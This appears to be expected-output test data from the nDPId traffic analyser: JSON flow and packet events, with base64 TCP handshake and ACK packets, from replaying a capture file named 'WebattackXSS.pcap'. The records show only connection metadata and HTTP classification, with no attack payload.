+00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2045,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":100,"flow_packet_id":6,"flow_first_seen":1499347137239,"flow_last_seen":1499347142652,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54000,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2045,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":100,"flow_packet_id":6,"flow_first_seen":1499347137239,"flow_last_seen":1499347142652,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54000,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2045,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":101,"flow_packet_id":6,"flow_first_seen":1499347138552,"flow_last_seen":1499347143653,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54014,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2045,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":101,"flow_packet_id":6,"flow_first_seen":1499347138552,"flow_last_seen":1499347143653,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54014,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2045,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":102,"flow_packet_id":6,"flow_first_seen":1499347141111,"flow_last_seen":1499347146653,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54040,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2045,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":102,"flow_packet_id":6,"flow_first_seen":1499347141111,"flow_last_seen":1499347146653,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54040,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2045,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":103,"flow_packet_id":6,"flow_first_seen":1499347142412,"flow_last_seen":1499347147653,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54054,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2045,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":103,"flow_packet_id":6,"flow_first_seen":1499347142412,"flow_last_seen":1499347147653,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54054,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2045,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":104,"flow_packet_id":6,"flow_first_seen":1499347143676,"flow_last_seen":1499347149654,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54068,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2045,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":104,"flow_packet_id":6,"flow_first_seen":1499347143676,"flow_last_seen":1499347149654,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54068,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2045,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":105,"flow_packet_id":6,"flow_first_seen":1499347146267,"flow_last_seen":1499347151654,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54094,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2045,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":105,"flow_packet_id":6,"flow_first_seen":1499347146267,"flow_last_seen":1499347151654,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54094,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":141,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2051,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347213,"pkt_ts_usec":673767,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0oENAAD4GJZWsEAABwKgKMtXWAFBZgnIi6AhcC4ARAOWX8wAAAQEICgE52CUD46PW"} +00432{"flow_id":141,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2052,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347213,"pkt_ts_usec":674089,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA09ZBAAEAGzkfAqAoyrBAAAQBQ1dboCFwLWYJyI4ARAOOSLgAAAQEICgPjqZwBOdgl"} +00432{"flow_id":141,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2053,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347213,"pkt_ts_usec":674658,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0oERAAD4GJZSsEAABwKgKMtXWAFBZgnIj6AhcDIAQAOWSLAAAAQEICgE52CUD46mc"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2057,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":144,"flow_packet_id":1,"flow_first_seen":1499347214088,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54808,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":144,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2057,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347214,"pkt_ts_usec":88992,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8KIZAAD4GnUqsEAABwKgKMtYYAFAozfALAAAAAKACchCV+wAAAgQFtAQCCAoBOdiNAAAAAAEDAwc="} +00443{"flow_id":144,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2058,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347214,"pkt_ts_usec":89106,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1hgNeWHdKM3wDKAScSB5nQAAAgQFtAQCCAoD46oDATnYjQEDAwc="} +00431{"flow_id":144,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2059,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347214,"pkt_ts_usec":89911,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0KIdAAD4GnVGsEAABwKgKMtYYAFAozfAMDXlh3oAQAOUYpQAAAQEICgE52I0D46oD"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2066,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":145,"flow_packet_id":1,"flow_first_seen":1499347215361,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54822,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":145,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2066,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347215,"pkt_ts_usec":361542,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8dFpAAD4GUXasEAABwKgKMtYmAFDVm62RAAAAAKACchAqWwAAAgQFtAQCCAoBOdnLAAAAAAEDAwc="} +00444{"flow_id":145,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2067,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347215,"pkt_ts_usec":361664,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1iYsMlMv1ZutkqAScSD8swAAAgQFtAQCCAoD46tBATnZywEDAwc="} +00432{"flow_id":145,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2068,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347215,"pkt_ts_usec":362437,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0dFtAAD4GUX2sEAABwKgKMtYmAFDVm62SLDJTMIAQAOWbuwAAAQEICgE52csD46tB"} +00432{"flow_id":142,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2072,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347215,"pkt_ts_usec":674762,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0H31AAD4GplusEAABwKgKMtXwAFCR7suqo4Jy44ARAOUvLAAAAQEICgE52hkD46ZJ"} +00432{"flow_id":142,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2073,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347215,"pkt_ts_usec":675010,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA02XNAAEAG6mTAqAoyrBAAAQBQ1fCjgnLjke7Lq4ARAOMp5gAAAQEICgPjq5ABOdoZ"} +00432{"flow_id":142,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2074,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347215,"pkt_ts_usec":675564,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0H35AAD4GplqsEAABwKgKMtXwAFCR7suro4Jy5IAQAOUp4wAAAQEICgE52hoD46uQ"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2078,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":146,"flow_packet_id":1,"flow_first_seen":1499347216659,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54836,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":146,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2078,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347216,"pkt_ts_usec":659724,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8zDVAAD4G+ZqsEAABwKgKMtY0AFD0uxclAAAAAKACchCgVAAAAgQFtAQCCAoBOdsQAAAAAAEDAwc="} +00445{"flow_id":146,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2079,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347216,"pkt_ts_usec":659859,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1jQ3RTmT9LsXJqAScSB\/8QAAAgQFtAQCCAoD46yGATnbEAEDAwc="} +00432{"flow_id":146,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2080,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347216,"pkt_ts_usec":660600,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0zDZAAD4G+aGsEAABwKgKMtY0AFD0uxcmN0U5lIAQAOUe+QAAAQEICgE52xAD46yG"} +00433{"flow_id":143,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2084,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347216,"pkt_ts_usec":675356,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06VhAAD4G3H+sEAABwKgKMtX+AFCmKj9etuGFYYARAOV\/HQAAAQEICgE52xQD46eC"} +00433{"flow_id":143,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2085,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347216,"pkt_ts_usec":676205,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0KetAAEAGme3AqAoyrBAAAQBQ1f624YVhpio\/X4ARAON6FgAAAQEICgPjrIoBOdsU"} +00432{"flow_id":143,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2086,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347216,"pkt_ts_usec":676934,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06VlAAD4G3H6sEAABwKgKMtX+AFCmKj9ftuGFYoAQAOV6FAAAAQEICgE52xQD46yK"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2096,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":147,"flow_packet_id":1,"flow_first_seen":1499347219208,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54862,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":147,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2096,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347219,"pkt_ts_usec":208358,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8UEtAAD4GdYWsEAABwKgKMtZOAFD4043GAAAAAKACchAjBAAAAgQFtAQCCAoBOd2NAAAAAAEDAwc="} +00444{"flow_id":147,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2097,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347219,"pkt_ts_usec":208484,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1k7LcrrD+NONx6AScSDqxQAAAgQFtAQCCAoD468DATndjQEDAwc="} +00432{"flow_id":147,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2098,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347219,"pkt_ts_usec":209266,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UExAAD4GdYysEAABwKgKMtZOAFD4043Hy3K6xIAQAOWJzQAAAQEICgE53Y0D468D"} +00432{"flow_id":144,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2102,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347219,"pkt_ts_usec":675376,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0KIhAAD4GnVCsEAABwKgKMtYYAFAozfAMDXlh3oARAOUTLwAAAQEICgE53gID46oD"} +00432{"flow_id":144,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2103,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347219,"pkt_ts_usec":675610,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0zqZAAEAG9THAqAoyrBAAAQBQ1hgNeWHeKM3wDYARAOMNuwAAAQEICgPjr3gBOd4C"} +00432{"flow_id":144,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2104,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347219,"pkt_ts_usec":676370,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0KIlAAD4GnU+sEAABwKgKMtYYAFAozfANDXlh34AQAOUNuQAAAQEICgE53gID4694"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2108,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":148,"flow_packet_id":1,"flow_first_seen":1499347220447,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54876,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":148,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2108,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347220,"pkt_ts_usec":447373,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA86ABAAD4G3c+sEAABwKgKMtZcAFBnOTbDAAAAAKACchAKXgAAAgQFtAQCCAoBOd7DAAAAAAEDAwc="} +00444{"flow_id":148,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2109,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347220,"pkt_ts_usec":447497,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1lzT7Q76Zzk2xKAScSB0OAAAAgQFtAQCCAoD47A5ATnewwEDAwc="} +00432{"flow_id":148,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2110,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347220,"pkt_ts_usec":448248,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06AFAAD4G3dasEAABwKgKMtZcAFBnOTbE0+0O+4AQAOUTQAAAAQEICgE53sMD47A5"} +00432{"flow_id":145,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2114,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347220,"pkt_ts_usec":675346,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0dFxAAD4GUXysEAABwKgKMtYmAFDVm62SLDJTMIARAOWWiQAAAQEICgE53vwD46tB"} +00432{"flow_id":145,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2115,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347220,"pkt_ts_usec":675602,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA040JAAEAG4JXAqAoyrBAAAQBQ1iYsMlMw1Zutk4ARAOORWQAAAQEICgPjsHIBOd78"} +00432{"flow_id":145,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2116,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347220,"pkt_ts_usec":676152,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0dF1AAD4GUXusEAABwKgKMtYmAFDVm62TLDJTMYAQAOWRVwAAAQEICgE53vwD47By"} +00433{"flow_id":146,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2120,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347221,"pkt_ts_usec":676327,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0zDdAAD4G+aCsEAABwKgKMtY0AFD0uxcmN0U5lIARAOUaEgAAAQEICgE53\/YD46yG"} +00433{"flow_id":146,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2121,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347221,"pkt_ts_usec":676668,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0iPhAAEAGOuDAqAoyrBAAAQBQ1jQ3RTmU9LsXJ4ARAOMVLQAAAQEICgPjsWwBOd\/2"} +00433{"flow_id":146,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2122,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347221,"pkt_ts_usec":677281,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0zDhAAD4G+Z+sEAABwKgKMtY0AFD0uxcnN0U5lYAQAOUVKwAAAQEICgE53\/YD47Fs"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2123,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":149,"flow_packet_id":1,"flow_first_seen":1499347221694,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54890,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":149,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2123,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347221,"pkt_ts_usec":694992,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA89JJAAD4G0T2sEAABwKgKMtZqAFAcVCtpAAAAAKACchBfVwAAAgQFtAQCCAoBOd\/7AAAAAAEDAwc="} 